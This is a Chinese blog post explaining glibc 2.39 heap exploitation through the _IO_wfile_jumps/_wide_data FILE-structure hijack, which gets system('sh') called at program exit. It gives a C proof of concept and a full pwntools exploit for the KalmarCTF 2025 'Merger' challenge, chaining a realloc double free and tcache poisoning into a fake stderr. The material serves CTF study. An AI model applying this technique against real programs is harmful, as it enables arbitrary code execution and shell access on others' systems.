普通视图

发现新文章,点击刷新页面。
今天 — 2025年11月27日首页

浅谈glibc2.39下的堆利用

2025年11月27日 15:44

glibc2.34以后取消了__free_hook以及__malloc_hook,因此需要找到一个可以控制程序执行流程的函数指针代替__free_hook以及__malloc_hook

struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}

在结构体_IO_FILE_plus中存在着类似于虚表的变量vtable,其中存储着许多函数指针。

image-20251009194102943

若能修改vtable指针并指向我们伪造的vtable,即可达成劫持程序执行流程的目的。

但是在glibc2.24之后加入了vtable指针的校验,简单来说就是会检测vtable指针是否在范围之内。因此在glibc2.24之后,需要找在范围内的vtable指针加以利用。

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;//计算在glibc中vtable指针的范围
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables; //判断当前vtable指针与起始位置的偏移
  if (__glibc_unlikely (offset >= section_length)) //若偏移大于最大距离则校验失败
    _IO_vtable_check ();
  return vtable;
}

glibc范围内存在着名为_IO_wfile_jumpsvtable指针。该跳转表中存在着一个特殊的函数_IO_wfile_overflow

image-20251009195029742

调用流程如下所示,简单来讲_IO_wfile_overflow最终调用的是_IO_wdoallocbuf将宏拆解,实际最终调用的是fp->_wide_data->_wide_vtable,而在调用fp->_wide_data->_wide_vtable的时候并没有检测vtable的合法性,因此倘若我们能够伪造__wide_data就能够控制_wide_vtable变量,最后将该跳转表内容修改为system,即可完成程序流程的劫持。

/*
_IO_wfile_overflow
=> _IO_wdoallocbuf
=> _IO_WDOALLOCATE
*/

wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  //#define _IO_NO_WRITES         0x0008
  //f->_flags & _IO_NO_WRITES == 0
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  //#define _IO_CURRENTLY_PUTTING 0x0800
  //f->_flags & _IO_CURRENTLY_PUTTING == 0
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      //f->_wide_data->_IO_write_base == 0
      if (f->_wide_data->_IO_write_base == 0)
{
      //满足上述条件执行fp->_wide_data->_wide_vtable
  _IO_wdoallocbuf (f);
  ...

void
_IO_wdoallocbuf (FILE *fp)
{
  //fp->_wide_data->_IO_buf_base == 0
  if (fp->_wide_data->_IO_buf_base)
    return;
  //#define _IO_UNBUFFERED        0x0002
  //fp->_flags & _IO_UNBUFFERED == 0
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      return;
  ...

#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

根据上述源码我们可以知道,想要执行_IO_wdoallocbuf需要满足以下几个条件

  • f->_flags & _IO_NO_WRITES == 0

  • f->_flags & _IO_CURRENTLY_PUTTING == 0

  • f->_wide_data->_IO_write_base == 0

  • fp->_wide_data->_IO_buf_base == 0

  • fp->_flags & _IO_UNBUFFERED == 0

想要让程序执行_IO_wfile_overflow函数需要触发以下调用链

image-20251009221543800

_IO_cleanup函数的作用是清理所有打开的标准I/O流,因此在程序退出时就会调用。

image-20251009221812005

_IO_cleanup函数调用如下所示,实际内部执行的函数为_IO_flush_all

int
_IO_cleanup (void)
{
    ...
  int result = _IO_flush_all ();
    ...
}

int
_IO_flush_all (void)
{
    ...
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      ...
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
   || (_IO_vtable_offset (fp) == 0
       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
    > fp->_wide_data->_IO_write_base))
   )
  && _IO_OVERFLOW (fp, EOF) == EOF)
          ...
}

_IO_list_all执行的列表顺序为stderr->stdout->stdin,因此我们可以通过修改stderr->_wide_datastderr->vtable就可以优先触发利用链,但是依旧需要满足以下限制条件:

  • fp->_mode == 0

  • fp->_IO_write_ptr > fp->_IO_write_base

POC

根据上述条件,总结POC如下

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct _IO_jump_t {
    void *funcs[27]; // 伪占位,不同glibc版本可能不同
};
struct _IO_FILE_plus {
    FILE file;
    const struct _IO_jump_t *vtable;
};
extern struct _IO_FILE_plus _IO_2_1_stderr_;
extern const struct _IO_jump_t _IO_wfile_jumps;
long  *fake_IO_wide_data;
long *fake_wide_vtable;
long * p;
int main() {
    //_IO_wide_data结构大小为0xe8
    fake_IO_wide_data = (long *)malloc(0xe8);
    //跳转表结构大小为0xe8
    fake_wide_vtable = (long *)malloc(0xa8);
    //glibc2.39:_IO_wfile_jumps = _IO_file_jumps + 0x1f8
    _IO_2_1_stderr_.vtable = (char *)_IO_2_1_stderr_.vtable + 0x1f8;
    stderr->_wide_data = fake_IO_wide_data;
    stderr->_IO_write_ptr = 1;
    stderr->_IO_write_base = 0;
    *(long **)((char *)fake_IO_wide_data + 0xe0) = fake_wide_vtable;
    *(long **)((char *)fake_wide_vtable + 0x68) = (long *)system;
    //0xfbad为魔数,0x0101是为了拼接后续的sh字符串
    memcpy((char *)&stderr->_flags,"\x01\x01\xad\xfb;sh",8);
    return 0;
}

python脚本

#fake_wide_vtable(0xa8)
payload  = b'\x00'*0x68 + p64(libcbase + libc.symbols['system'])
payload = payload.ljust(0xa8,b"\x00")
add(26,0xa8,payload)
fake_wide_vtable = heapbase + 0x1770

#fake_IO_wide_data(0xe8)
payload = b'\x00' * 0xe0 + p64(fake_wide_vtable)
add(25,0xe8,payload)
fake_IO_wide_data  = heapbase + 0x1670

#fake stderr(0xe0)
fake_stderr                = FileStructure(0)
fake_stderr.flags          = u64(b'  sh\x00\x00\x00\x00')
fake_stderr._IO_write_base = 0
fake_stderr._IO_write_ptr  = 1 # _IO_write_ptr > _IO_write_base
fake_stderr._wide_data     = fake_IO_wide_data
fake_stderr.vtable         = libc.symbols['_IO_wfile_jumps'] + libcbase
fake_stderr._lock          = 0x205700 + libcbase #_IO_stdfile_2_lock
fake_stderr_bytes = bytes(fake_stderr)

例题

KalmarCTF 2025-Merger

image-20251016101218782

merge功能中堆块是通过realloc函数对srcdst堆块进行合并,合并完成之后,使用free函数对src堆块进行释放。但是这里存在一个漏洞点,没有限制srcdst堆块的下标,使得srcdst堆块的下标可以设置为同一个值。

realloc函数在重新分配堆块时会出现以下情况:

  1. 当重新申请的堆块的size小于当前堆块的size,则realloc会分割当前堆块

  2. 当重新申请的堆块的size大于当前堆块的size,则realloc会先free当前堆块,再malloc申请的size

结合merage功能,当以条件二执行realloc函数时会执行free(s)并紧接着执行free(src),因此当s=src时,就会导致double free漏洞。

想要利用上述double free漏洞,则需要满足以下条件:

  • realloc申请的堆块要比合并的堆块大(以条件二方式执行realloc函数)

  • double free的堆块size需要小于0x100,否则申请不到(add功能最大只能申请0xff堆块)

漏洞利用流程

  • 设置srcdst的下标为相同值

  • malloc(0xf7)的堆块放置在unsortbin中,紧接着src堆块从unsortbin中申请,这样就能够满足double free的堆块size小于0x100

  • src堆块从unsortbin中申请,当以条件二方式执行realloc函数时则执行:

    • free(src)

    • 触发unlinksrc堆块合并回unsortbin

  • 紧接着执行merge函数的free(src),则src会放在tcachebin中,则构造出uaf漏洞,泄露libc地址

  • 后续将src堆块放进fastbin中,构造double free漏洞,当相应大小的tcachebin被申请完毕后,fastbin中的堆块会被放置在tcachebin中,从而变相构造出Tcache Poisoning

  • 利用Tcache Poisoning指向堆块(size大于0xe0,由于io_file结构体需要0xe0大小的空间)

  • 利用io_file获得shell

EXP

from pwn import *

sh = process("./merger")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.update(arch='amd64', os='linux', bits=64) 

def add(index,size,data):
    sh.recvuntil("> ")
    sh.sendline("1")
    sh.recvuntil("dex: ")
    sh.sendline(str(index))
    sh.recvuntil("ize: ")
    sh.sendline(str(size))
    sh.recvuntil("ta: ")
    sh.send(data)
    

def delete(index):
    sh.recvuntil("> ")
    sh.sendline("2")
    sh.recvuntil("dex: ")
    sh.sendline(str(index))


def show(index):
    sh.recvuntil("> ")
    sh.sendline("3")
    sh.recvuntil("dex: ")
    sh.sendline(str(index))

def merge(dst,src):
    sh.recvuntil("> ")
    sh.sendline("4")
    sh.recvuntil("st: ")
    sh.sendline(str(dst))
    sh.recvuntil("src: ")
    sh.sendline(str(src))

for i in range(7):
    add(i,0x87,0x87*'a')
for i in range(7):
    add(i+7,0xf7,0xf7*'a')
    
add(14,0x87,0x87*'a')
add(15,0xf7,0xf7*'a')
add(16,0x98,0x98*'a')

for i in range(7):
    delete(i+7)
delete(15)
add(14,0x87,0x87*'a')

for i in range(7):
    delete(i)

for i in range(7):
    add(i,0xf0,0xf0*'a')

#堆块同时释放在unsortbin与tcachebin中
merge(14,14)
sh.recvuntil("a"*0x87,drop=True)
libc_main_arena = u64(sh.recv(6).ljust(8,b"\x00"))
libcbase = libc_main_arena - 0x203b20
log.info("libcbase:"+hex(libcbase))
#修复unsortbin
payload = p64(libc_main_arena)*2
payload = payload.ljust(0xf0,b"a")
#堆块20与堆块21指向同一个堆块,一个从tcachebin中申请,一个从unsortbin中申请
add(20,0xf0,payload)
add(21,0x77,'a'*0x77)
add(22,0x77,'a'*0x77)

for i in range(7):
    add(i,0x77,0x77*'a')
for i in range(7):
    delete(i)
delete(21)
show(20)  #uaf泄露数据
heapbase = u64(sh.recvuntil("\n",drop=True).ljust(8,b"\x00"))<<12
log.info("heapbase:"+hex(heapbase))
#fastbin double free
delete(22)
delete(20)

for i in range(7):
    add(i,0x77,0x77*'a')
for i in range(3):
    add(i+7,0xf7,0xf7*'a')
for i in range(3):
    delete(i+7)
#0x77的堆块大小不足以存储IO_File结构体,因此需要利用Tcache Poisoning指向0x100的堆块
payload = p64((heapbase + 0x1670) ^ (heapbase>>12))
payload = payload.ljust(0x77,b"a")
add(20,0x77,payload)
add(0,0x77,'a'*0x77)
add(0,0x77,'a'*0x77)
#利用Tcache Poisoning指向_IO_2_1_stderr_
payload = p64((libcbase + libc.symbols['_IO_2_1_stderr_']) ^ (heapbase+0x1000>>12))
payload = payload.ljust(0x77,b"a")
add(0,0x77,payload)

#fake_wide_vtable(0xa8)
payload  = b'\x00'*0x68 + p64(libcbase + libc.symbols['system'])
payload = payload.ljust(0xa8,b"\x00")
add(26,0xa8,payload)
fake_wide_vtable = heapbase + 0x1770

#fake_IO_wide_data(0xe8)
payload = b'\x00' * 0xe0 + p64(fake_wide_vtable)
add(25,0xe8,payload)
fake_IO_wide_data  = heapbase + 0x1670

#fake stderr(0xe0)
fake_stderr                = FileStructure(0)
fake_stderr.flags          = u64(b'  sh\x00\x00\x00\x00')
fake_stderr._IO_write_base = 0
fake_stderr._IO_write_ptr  = 1 # _IO_write_ptr > _IO_write_base
fake_stderr._wide_data     = fake_IO_wide_data
fake_stderr.vtable         = libc.symbols['_IO_wfile_jumps'] + libcbase
fake_stderr._lock          = 0x205700 + libcbase #_IO_stdfile_2_lock
fake_stderr_bytes = bytes(fake_stderr)
print(hex(len(fake_stderr_bytes)))
add(2,0xf0,fake_stderr_bytes+p64(0xfbad2887)+b"\n")
sh.interactive()
❌
❌